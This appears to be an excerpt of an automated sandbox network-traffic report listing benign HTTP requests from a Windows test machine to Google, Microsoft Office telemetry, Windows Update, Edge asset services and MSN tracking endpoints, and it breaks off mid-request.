Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pFAZLDUpUH4eKln&MD=K3Pc2hDt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731325227261&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1817CCD1391B64C11978D9E5387965A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731325227261&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cf0083d9bd7d43b991d9ad6081c2b329&activityId=cf0083d9bd7d43b991d9ad6081c2b329&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1817CCD1391B64C11978D9E5387965A3&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=2014104628d94364b1a2d44a982f3391 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 